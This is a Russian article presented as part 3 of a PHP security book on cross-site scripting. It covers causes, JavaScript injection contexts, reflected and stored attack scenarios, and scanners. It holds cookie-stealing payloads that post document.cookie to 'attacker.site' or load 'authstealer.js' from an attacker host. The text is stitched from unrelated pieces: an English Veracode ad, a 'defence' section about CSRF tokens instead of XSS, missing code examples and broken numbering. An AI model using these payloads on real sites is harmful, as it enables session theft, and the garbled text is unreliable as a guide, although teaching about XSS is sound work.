Книга «безопасность в php» (часть 3). межсайтовый скриптинг (xss)
Содержание:
- Причины возникновения XSS
- Тестирование
- XSS-атаки и уязвимости на основе DOM
- Veracode Can Help You Protect Against XSS Attacks
- Межсайтовый скриптинг и контекст внедрения
- 5) Контекст JavaScript
- Примеры эксплуатирования XSS
- Методы защиты
- Фон
- Различные типы уязвимости Cross-Site Scripting
- Программы для поиска и сканирования XSS уязвимости
- Выводы
Причины возникновения XSS
Во-первых, XSS возникает при генерации HTML-страницы, когда разработчику нужно поместить туда указанные пользователем данные (ФИО, организация). Если разработчик записал данные в БД, затем тянет ее в HTML-шаблон, то это stored (сохраненный) XSS.
Разработчику могут понадобиться параметры из URL или тела запроса. Такой тип XSS называется reflected.
Причин XSS куча, потому что есть динамические изменения страницы с помощью JS, есть события, которые постоянно происходят на клиентской стороне с JS.
Но в этом докладе я расскажу про самые распространенные типы — stored XSS и reflected XSS.
Возьмем пример — обычная страница ВКонтакте. О чем подумает человек, который хочет найти XSS-уязвимости?
Во-первых, он обратит внимание на то, что есть поля, можно куда-то зарегистрироваться и что-то ввести
Попробуем ввести туда честные данные, но при этом добавим к ним . Он нужен для вызова JavaScript между открывающим и закрывающим тегами.
Что произойдет в этом случае?
Мы, как пользователь, который хочет зарегистрироваться во ВКонтакте, заливаем ему наши проверочные строки. Дальше разработчик сохраняет их в базу данных, и с этими данными ему надо работать. Нужно показывать их пользователю на его странице, в личных сообщениях и много где еще. Дальше данные попадают пользователю в браузер, когда они возвращаются ему обратно.
Допустим, разработчик не подумал, что в качестве имени пользователя могут быть не только честные данные, а еще и HTML-теги, которые встраиваются в оригинальный HTML-шаблон. Браузеру пофиг, он рендерит все, что ему сказал разработчик, поэтому рендерится и строка.
Оно могло бы выстрелить где-нибудь здесь:
Конечно, во ВКонтакте такой уязвимости нет. Но, так как эта страница является публично доступной, любой в интернете может на нее зайти, то это была бы довольно серьезная уязвимость.
Но вообще мы, как тестировщики, которые ищут XSS-уязвимости, чаще всего делаем это блэкбоксом. Мы не знаем, что происходит на сервере, какая база данных там используется, делает ли разработчик что-то с этими данными. Всё, что у нас есть, — это поле, куда мы можем что-то ввести, и какие-то страницы, куда это потом возвращается.
Методология поиска XSS, которую я сейчас вам покажу, основана как раз на том, что мы не знаем, какие процессы происходят на сервере.
Тестирование
Проверка автоматической генерации пейлоадов
Набор пейлоадов, которые предлагает XSSer, находится в файле ./core/fuzzing/vectors.py и записан в виде JSON. Сам список имеет вид:
{ ‘payload’:»»»<iframe<?php echo chr(12)>onload=PAYLOAD></iframe>»»»,’browser’:»»»Not Info»»»}
Если сравнивать с XSStrike, то у него было несколько наборов:
-
базовые теги (img, iframe и т.д.)
-
обработчики событий (onload, onerror, onmouseover и т.д.)
-
функции (например confirm()) и т.д.
В процессе генерации все эти наборы совмещались друг с другом и получался объемный список пейлоадов. Но в XSSer оказалось, что параметр —auto отвечает лишь за использование уже существующего словаря, который, разумеется, можно расширить.
Во время тестирования все применяемые пейлоады кодируются в URL-Encode, а результаты автоматически записываются в текущей папке в файл XSSreport.raw, если не указано иное.
Проверка поиска уязвимых сайтов для XSS средствами Google Dork
Данная функция позволяет инструменту проводить поиск уязвимых страниц в Интернете, используя GoogleDork-запросы. В процессе поиска XSSer будет искать страницы по указанным критериям и, если найдет, отправит пейлоад для проверки наличия XSS-уязвимости. В самом простом случае запрос может выглядеть так:
где:
—De — поисковой движок (DuckDuckGo, Yahoo, Bing)
-d — содержимое GoogleDork-запроса
Сама задумка данной функции понятна — поиск уязвимых страниц с помощью продвинутого поискового движка, но из-за того, что при ее использовании атакуются сторонние ресурсы в Интернете, не совсем понятно, зачем она была добавлена.
XSS-атаки и уязвимости на основе DOM
XSS-атаки на основе DOM выполняются путем изменения среды DOM, которая отображается в браузере пользователя при посещении определенной веб-страницы. По сути, когда пользователь посещает веб-страницу, браузер интерпретирует код таким образом, чтобы визуализировать то, что он хочет. То есть изображения, текст, видео, аудио и многое другое. Однако этот опасный вариант XSS-атаки может изменить то, что пользователь видит в браузере. Это делает это таким образом, что приводит к повреждению, например, к установке вредоносных программ, различных типов вирусов, скрипты которые потребляют ресурсы вашего компьютера, добывая криптовалюту, и многое другое.
Мы собираемся использовать пример, которым поделились OWASP чтобы проиллюстрировать, как эта атака приводится в действие. Предположим, вы хотите посетить следующую веб-страницу, которая позволяет вам в форме выбрать предпочтительный язык:
URL-адрес, то есть ссылка исходной страницы, выглядит следующим образом:
Киберпреступник может легко изменить указанный URL, и это выглядит так:
Как мы видим, второй URL отличается от первого следующим:
Вместо того, чтобы сказать » Французский «, Киберпреступнику удается изменить URL так, чтобы» document.cookie ”Отображается в браузере пользователя, что может быть любым вредоносным кодом.
В этом случае возможна XSS-атака на основе DOM, поскольку исходный код Javascript веб-страницы не принимает код HTML. Следовательно, браузер напрямую интерпретирует то, что указывает URL-адрес страницы. Последнее, независимо от того, является ли скрипт, на который ссылается URL, вредоносным. К сожалению, пользователю довольно сложно это контролировать. Однако позже мы дадим совет, как защититься от этого вида атак.
Что такое XSS?
Стоит обновить концепцию атак с использованием XSS-инъекций. Акроним расшифровывается как Cross (X) Site Scripting. Он состоит из действий вредоносных сценариев, которые внедряются в веб-сайты и приложения, которые, в принципе, преследуют законные или благоприятные цели. Как они вообще возникают? Киберпреступник захватывает сайт или веб-приложение, особенно на интерфейсных , и различными способами вставляется вредоносный код. К сожалению, это обычная ситуация, когда веб-сайты и приложения не имеют строгого контроля над тем, что выполняется на стороне конечного пользователя или что пользователь может вставлять, особенно через веб-формы. ,
Помимо XSS-атак на основе DOM, которые мы описали в этой заметке, существуют другие варианты, которые не менее или более опасны, чем этот. Сохраненный XSS и отраженный XSS следует упомянуть , это атаки, которые в большей степени направлены на нарушение безопасности и целостности веб-сервера.
Veracode Can Help You Protect Against XSS Attacks
Secure coding practices can help avoid introducing XSS vulnerabilities. However, no developer is always aware of every potential site for flaws or vulnerabilities. Veracode’s Developer Training and eLearning tools can teach secure coding practices while Veracode Security Labs provides hands-on training to enable all developers to write secure code and embed security into their projects from the beginning.
Veracode Discovery tests web applications, discovering and inventorying Internet-facing applications and scanning for vulnerabilities, including SQL injection vulnerabilities, CSRF attacks, LDAP injections, and mobile application flaws. Veracode Dynamic Analysis efficiently scans web applications, finds vulnerabilities, and guides developers to address issues, all before your application goes live.
Межсайтовый скриптинг и контекст внедрения
XSS-атака успешна, если в ходе неё внедряется контекст. Термин «контекст» описывает то, как браузеры интерпретируют содержимое HTML-документа. Браузеры распознают ряд ключевых контекстов, включая HTML-код, атрибуты HTML, JavaScript, URL, CSS.
Цель злоумышленника — взять данные, предназначенные для одного из этих контекстов, и заставить браузер интерпретировать их в другом контексте. Например:
$colour заполняется из базы данных настроек пользователя, которые влияют на цвет фона для текстового блока. Значение вводится в контексте CSS, дочернем по отношению к контексту HTML-атрибута. То есть мы добавили CSS в атрибут style. Может показаться, что необязательно избегать такой ловушки с контекстом, но посмотрим на следующий пример:
Если атакующий успешно внедрит этот colour, то он может внедрить CSS-выражение, которое выполнит определённый JavaScript в браузере Internet Explorer. Другими словами, злоумышленник сумеет переключить текущий контекст путём введения нового контекста JavaScript.
Посмотрев на предыдущий пример, некоторые читатели вспомнят об экранировании (escaping). Воспользуемся им:
Если вы проверите это в IE, то быстро обнаружите, что происходит что-то очень нехорошее. XSS-атака всё равно успешно работает — даже после экранирования с помощью функции htmlspecialchars(), чтобы избежать $colour!
Вот как важно правильно понимать контекст. Каждый контекст требует другого метода экранирования, потому что у каждого контекста свои специальные символы и разная необходимость в экранировании
Недостаточно повсюду разбрасываться функциями htmlspecialchars() и htmlentities() и молиться, чтобы ваше веб-приложение стало безопасным.
Что пошло не так в предыдущем примере? Что заставило браузер деэкранировать атрибуты HTML перед интерпретацией контекста? Мы проигнорировали тот факт, что необходимо экранировать два контекста.
Сначала CSS должен был экранировать $colour, и только затем — экранировать HTML. Это гарантировало бы, что $colour преобразован в правильный строковый литерал, без скобок, кавычек, пробелов и других символов, которые позволяют внедрить expression(). Не понимая, что наш атрибут охватывает два контекста, мы экранировали его, как если бы это был только один HTML-атрибут. Довольно распространённая ошибка.
Из этой ситуации можно вынести урок: контекст важен. При XSS-атаке злоумышленник всегда будет стараться прыгнуть из текущего контекста в другой, где можно исполнить JavaScript. Если вы способны определить все контексты в выходном потоке HTML с учётом их вложенности, значит, вы на десять шагов ближе к успешной защите веб-приложения от XSS.
Давайте рассмотрим ещё один пример:
Если не принимать во внимание ненадёжные входные данные, то этот код можно проанализировать следующим образом:
- Существует контекст URL, т. е. значение атрибута href.
- Есть контекст HTML-атрибута, т. е. родители контекста URL.
- Есть контекст тела HTML, т. е. текст внутри тега.
Это три разных контекста. Так что понадобится до трёх способов экранирования, если источники данных будут определены как ненадёжные. В следующем разделе мы подробней рассмотрим экранирование в качестве защиты от XSS.
5) Контекст JavaScript
Внутри раздела страницы JavaScript кода.
<script>
некоторый_javascript
пользовательский_ввод
некоторый_javascript
</script>
Это относится к разделу, заключённому в тэги SCRIPT, в значения атрибутов обработчиков событий и в URL, обрабатывающихся с JavaScript.
Внутри JavaScript пользовательский ввод может появляться в следующих контекстах:
- a) Контекст кода
- b) Контекст строки внутри одинарных кавычек
- c) Контекст строки внутри двойных кавычек
- d) Контекст комментария в одну строку
- e) Контекст комментария в несколько строк
- f) Строки, которые отправляются исполняющим поглотителям
Если пользовательский ввод между тэгами SCRIPT, то не имеет значения, в каком из контекстов он появился, вы можете переключиться на контекст HTML просто включив закрывающий тэг SCRIPT, а затем вставить любой HTML.
Например:
</script><img src=x onerror=alert(1)>
Если вы не собираетесь переключаться на HTML контекст, тогда вам нужно специально обработать ввод в зависимости от специфичного JavaScript контекста, в котором он появляется.
a) Контекст кода
function dev_func(input) {some_js_code}
dev_func(пользовательский_ввод);
some_variable=123;
Это исполняемый контекст, пользовательский ввод напрямую появляется в выражении и вы можете напрямую ввести элементы JavaScript и они будут выполнены.
Например:
$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
b) Контекст строки внутри одинарных кавычек
var some_variable=’пользовательский_ввод’;
Это не исполняемый контекст и пользовательский ввод должен включать одинарную кавычку в начале для выхода из контекста строки и перехода в контекст кода.
Например:
‘; $.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
c) Контекст строки внутри двойных кавычек
var some_variable=»пользовательский_ввод»;
Это не исполняемый контекст и пользовательский ввод должен включать двойную кавычку в начале для выхода из контекста строки и перехода в контекст кода.
Например:
«; $.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
d) Контекст команды в одну строку
some_js_func();//пользовательский_ввод
Это не исполняемый контекст и пользовательский ввод должен включать символ новой строки для выхода из контекста комментария строки и переключения в контекст кода.
Например:
\r\n$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
e) Контекст многострочного комментария
some_js_func();
/*
пользовательский_ввод
*/
some_js_code
Это не исполняемый контекст и пользовательский ввод должен включать */ для выхода из контекста многострочного комментария и переключения в контекст кода.
Например:
*/$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
f) Строка, предназначенная для исполнителей кода
Эти контекст строк заключённых в кавычки или в двойные кавычки, но важно то, что эти строки передаются функциями или назначаются свойствам, которые будут обработаны как исполняемый код.
Вот несколько примеров:
- eval(«пользовательский_ввод»);
- location = «пользовательский_ввод»;
- setTimeout(1000, «пользовательский_ввод»);
- x.innerHTML = «пользовательский_ввод»;
Это должно обрабатываться похожим образом с контекстом кода.
Примеры эксплуатирования XSS
Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.
При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.
Пример атаки с непостоянным XSS
1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.
2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:
2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос
2.2 С нормальным поисковым запросом вроде слова «собачки» страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки, что является вполне нормальным поведением.
2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде <script type=’text/javascript’>alert(‘xss’);</script>:
2.3.1 Появляется сообщение с предупреждением (которое говорит «xss»).
2.3.2 Страница отображает <script type=’text/javascript’>alert(‘xss’);</script> не найдено наряду с сообщением об ошибке с текстом ‘xss’.
2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=<script%20type=’text/javascript’>alert(‘xss’);</script>
3. Мэлори конструирует URL для эксплуатации уязвимости:
3.1 Она делает URL http://bobssite.org?q=puppies<script%20src=»http://mallorysevilsite.com/authstealer.js»></script>. Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.
5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.
6. Мэлори теперь размещает куки авторизации Алисы в своём браузере как будто бы это её собственные. Затем она переходит на сайт Боба и оказывается залогиненной как Алиса.
7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.
8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.
Атака с постоянным XSS
- Мэлори имеет аккаунт на сайте Боба.
- Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.
- Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:
- В этой истории мне так понравились собачки. Они такие славные! <script src=»http://mallorysevilsite.com/authstealer.js»>
- Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.
- Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.
Методы защиты
Существует 3 метода использования токенов для защиты web-сервисов от CSRF атак:
- (Statefull)
- (Stateless)
- (Stateless)
Synchronizer Tokens
Простой подход, использующийся повсеместно. Требует хранения токена на стороне сервера.
Суть:
-
При старте сессии на стороне сервера генерируется токен.
-
Токен кладется в хранилище данных сессии (т.е. сохраняется на стороне сервера для последующей проверки)
-
В ответ на запрос (который стартовал сессию) клиенту возвращается токен.
Если рендеринг происходит на сервере, то токен может возвращаться внутри HTML, как, например, одно из полей формы, или внутри тега.
В случае, если ответ возвращается для JS приложения, токен можно передавать в header (часто для этого используют )
-
При последующих запросах клиент обязан передать токен серверу для проверки.
При рендере контента сервером токен принято возвращать внутри POST данных формы.
JS приложения обычно присылают XHR запросы с header (), содержащим токен.
-
При получения запроса небезопасным методом (, , , ) сервер обязан проверить на идентичность токен из данных сессии и токен, который прислал клиент.
Если оба токена совпадают, то запрос не подвергся CSRF-Атаке, в ином случае — логируем событие и отклоняем запрос.
На выходе имеем:
-
Защита от CSRF на хорошем уровне
-
Токен обновляется только при пересоздании сессии, а это происходит, когда сессия истекает
Во время жизни одной сессии все действия будут проверяться по одному токену.
Если произойдет утечка токена, то злоумышленник сможет выполнить CSRF-Атаку на любой запрос и в течение долгого срока. А это не есть хорошо.
-
Бесплатная поддержка multi-tab в браузере.
Токен не инвалидируется после выполнения запроса, что позволяет разработчику не заботиться о синхронизации токена в разных табах браузера, так как токен всегда один.
Double Submit Cookie
Этот подход не требует хранения данных на стороне сервера, а значит, является Stateless. Используется, если вы хотите уметь быстро и качественно масштабировать свой Web-сервис горизонтально.
Идея в том, чтобы отдать токен клиенту двумя методами: в куках и в одном из параметров ответа (header или внутри HTML).
Суть:
-
При запросе от клиента на стороне сервера генерируется токен. В ответе токен возвращается в cookie (например, ) и в одном из параметров ответа (в header или внутри HTML).
-
В последующих запросах клиент обязан предоставлять оба полученных ранее токена. Один как cookie, другой либо как header, либо внутри POST данных формы.
-
При получении запроса небезопасным методом (, , , ) сервер обязан проверить на идентичность токен из cookie и токен, который явно прислал клиент.
Если оба токена совпадают, то запрос не подвергся CSRF-Атаке, в ином случае — логируем событие и отклоняем запрос.
На выходе имеем:
-
Stateless CSRF защиту.
-
Необходимо учитывать, что поддомены могут читать cookie основного домена, если явно это не запрещать (т.е. если cookie установлена на , то её могут прочитать как , так и ).
Таким образом, если ваш сервис доступен на домене 3-го уровня, а злоумышленник имеет возможность зарегистрировать свой ресурс на вашем домене 2-го уровня, то устанавливайте cookie на свой домен явно.
- Нюансы зависят от реализации
Encrypted Token
Так же как и Double Submit, является Stateless подходом. Основная — если вы зашифруете надежным алгоритмом какие-то данные и передадите их клиенту, то клиент не сможет их подделать, не зная ключа. Этот подход не требует использования cookie. Токен передаётся клиенту только в параметрах ответа.
В данном подходе токеном являются факты, зашифрованные ключом. Минимально необходимые факты — это идентификатор пользователя и timestamp времени генерации токена. Ключ не должен быть известен клиенту.
Суть:
-
При запросе от клиента на стороне сервера генерируется токен.
Генерация токена состоит в зашифровке фактов, необходимых для валидации токена в дальнейшем.
Минимально необходимые факты — это идентификатор пользователя и timestamp. В ответе токен возвращается в одном из параметров ответа (В header или внутри HTML).
-
В последующих запросах клиент обязан предоставлять полученный ранее токен.
-
При получения запроса небезопасным методом (, , , ) сервер обязан валидировать токен, полученный от клиента.
Валидация токена заключается в его расшифровке и сравнения фактов, полученных после расшифровки, с реальными. (Проверка timestamp необходима для ограничения времени жизни токена)
Если расшифровать не удалось либо факты не совпадают, считается, что запрос подвергся CSRF-Атаке.
На выходе имеем:
-
Stateless CSRF защиту
-
Нет необходимости хранить данные в cookie
- Нет нюансов с поддоменами.
Фон
Безопасность в Интернете зависит от множества механизмов, включая базовую концепцию доверия, известную как политика одного и того же происхождения. По сути, это означает, что если контенту с одного сайта (например, https://mybank.example1.com ) предоставлено разрешение на доступ к ресурсам (например, файлам cookie и т. Д.) В веб-браузере , то контент с любого URL-адреса с таким же (1) Схема URI, (2) имя хоста и (3) номер порта будут совместно использовать эти разрешения. Контенту из URL-адресов, где любой из этих трех атрибутов отличается, необходимо будет предоставлять разрешения отдельно.
Атаки с использованием межсайтовых сценариев используют известные уязвимости в веб-приложениях, их серверах или подключаемых модулях, на которых они полагаются. Используя один из них, злоумышленники встраивают вредоносный контент в контент, доставляемый со взломанного сайта. Когда результирующий комбинированный контент поступает в клиентский веб-браузер, он все доставляется из надежного источника и, таким образом, работает в соответствии с разрешениями, предоставленными этой системе. Находя способы внедрения вредоносных сценариев на веб-страницы, злоумышленник может получить повышенные права доступа к конфиденциальному содержимому страницы, к файлам cookie сеанса и к разнообразной другой информации, поддерживаемой браузером от имени пользователя. Атаки с использованием межсайтовых сценариев — это случай внедрения кода .
Инженеры по безопасности Microsoft ввели термин «межсайтовый скриптинг» в январе 2000 года. Выражение «межсайтовый скриптинг» первоначально относилось к процессу загрузки атакованного стороннего веб-приложения с несвязанного атакующего сайта способом. который выполняет фрагмент JavaScript, подготовленный злоумышленником в контексте безопасности целевого домена (используя отраженную или непостоянную уязвимость XSS). Это определение постепенно расширялось, чтобы охватывать другие режимы внедрения кода, включая постоянные и не-JavaScript векторы (включая ActiveX , Java , VBScript , Flash или даже HTML- скрипты), вызывая некоторую путаницу у новичков в области информационной безопасности .
Об уязвимостях XSS сообщалось и они использовались с 1990-х годов. Известные сайты, затронутые в прошлом, включают сайты социальных сетей ,
,
MySpace , YouTube и Orkut . С тех пор недостатки межсайтового скриптинга превзошли переполнение буфера и стали наиболее распространенной уязвимостью безопасности, о которой сообщается в открытых источниках. В 2007 году некоторые исследователи оценили, что до 68% веб-сайтов, вероятно, открыты для XSS-атак.
Различные типы уязвимости Cross-Site Scripting
Существует в основном три различных типа уязвимости Cross-site Scripting; Stored, Reflected и DOM XSS. Ниже мы рассмотрим более подробно каждого из них.
Stored Cross-site Scripting
Уязвимости Stored Cross-site возникают, когда полезная нагрузка (payload) сохраняется, например, в базе данных, а затем выполняется, когда пользователь открывает страницу в веб-приложении. Stored cross-site scripting очень опасно по ряду причин:
- Полезная нагрузка не видна для фильтра XSS браузера
- Пользователи могут случайно активировать полезную нагрузку, если они посещают уязвимую страницу, в то время как для использования Reflected XSS потребуется специально созданный URL-адрес или особые входные данные.
Пример Stored XSS
Stored XSS-уязвимость может возникнуть, если имя пользователя онлайн-доски объявлений не очищено должным образом при выводе на страницу. В этом случае злоумышленник может вставить вредоносный код при регистрации нового пользователя в форме. Когда имя пользователя отражается на странице доски объявлений, оно будет выглядеть так:
Вышеуказанный вредоносный JavaScript запускается каждый раз, когда пользователь посещает этот раздел форума, и он отправляет злоумышленникам файлы cookie доски объявлений, которые хранятся в браузере пользователя, и затем использует их для кражи сеансов пользователя. Stored XSS может быть очень опасной уязвимостью, поскольку может иметь свойство червя — распространяться, особенно при использовании на популярных страницах.
Например, представьте себе доску объявлений или веб-сайт социальной сети, на котором есть общедоступная страница, которая уязвима для уязвимости stored XSS, такой как страница профиля пользователя. Если злоумышленник может разместить вредоносную полезную нагрузку JavaScript, которая добавляет себя на страницу профиля, вектор атаки выполняется каждый раз, когда посетитель открывает страницу, и полезная нагрузка распространяется с экспоненциальным ростом.
Reflected Cross-site Scripting (XSS)
Reflected XSS-уязвимость возникает, когда пользовательский ввод с URL-адреса или данных POST отражается на странице без сохранения, что позволяет злоумышленнику внедрить вредоносный контент. Это означает, что злоумышленник должен отправить созданный вредоносный URL-адрес или почтовую форму жертве, чтобы вставить полезную нагрузку, и жертва должна щелкнуть ссылку. Этот вид полезной нагрузки также обычно определяется встроенными фильтрами XSS в браузерах пользователя, таких как Chrome, Internet Explorer или Edge.
Пример Reflected XSS
В качестве примера XSS-атак мы будем использовать функцию поиска на новостном веб-сайте, которая работает путем добавления пользовательского ввода, полученного из запроса GET HTTP, к параметру q, как показано в следующем примере:
В результатах поиска веб-сайт отражает содержание запроса, который искал пользователь, например:
Если функция поиска уязвима для уязвимости reflected cross-site scripting, злоумышленник может отправить жертве вредоносный URL-адрес, такой как приведенный ниже:
Когда жертва нажимает на вредоносный URL-адрес, выполняется атака XSS, и на веб-сайте отображается следующее:
Исходный код HTML, который отражает вредоносный код злоумышленника, перенаправляет браузер жертвы на веб-сайт, который контролируется злоумышленником, который затем крадет текущие файлы cookie / токены сеанса пользователя из браузера жертвы для сайта example.com в качестве параметра GET,
Программы для поиска и сканирования XSS уязвимости
Наверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.
Имеются также специализированные инструменты для сканирования на XSS уязвимости. Среди них особенно можно выделить:
- XSSer – это не только мощный сканер, который умеет использовать разные методы внедрения и обхода фильтрации, это также автоматизированный инструмент по поиску уязвимых к XSS сайтов (по доркам). Для сайтов с найденными уязвимостями умеет внедрять полезную нагрузку для реальной атаки;
- XssPy – тоже достаточно самостоятельный инструмент, который умеет находить все страницы сайта (в том числе и на субдоменах) и проверять все элементы ввода на этих страницах;
- BruteXSS – положительной особенностью этого инструмента является полное исключение ложных срабатываний.
Выводы
Если вы разрабатываете приложение, работаете над архитектурой приложения, то всегда надо иметь в виду, что интернет — это небезопасное место.
Нужно всегда помнить, что нельзя доверять пользовательскому вводу. Рассматривайте место, где пользователь вам что-то посылает, как потенциально вредоносное.
Нужно проверять свое приложение, потому что даже самый внимательный разработчик все равно когда-то ошибется, допустит у себя уязвимость, и проверка необходима — чем чаще, тем лучше.
Используйте универсальный пейлоад, помещайте его во все поля, в каждый input. Рано или поздно это сработает, потом уже научитесь раскручивать, успешно находить еще больше XSS, может быть, придумаете свои векторы атаки.
В любом приложении всегда есть уязвимости, в том числе XSS. Если вы ищете баги безопасности, вы не можете быть уверены, что их там нет. Возможно, вы просто не можете их найти, но они там есть. Используя такое убеждение, можно найти еще больше багов.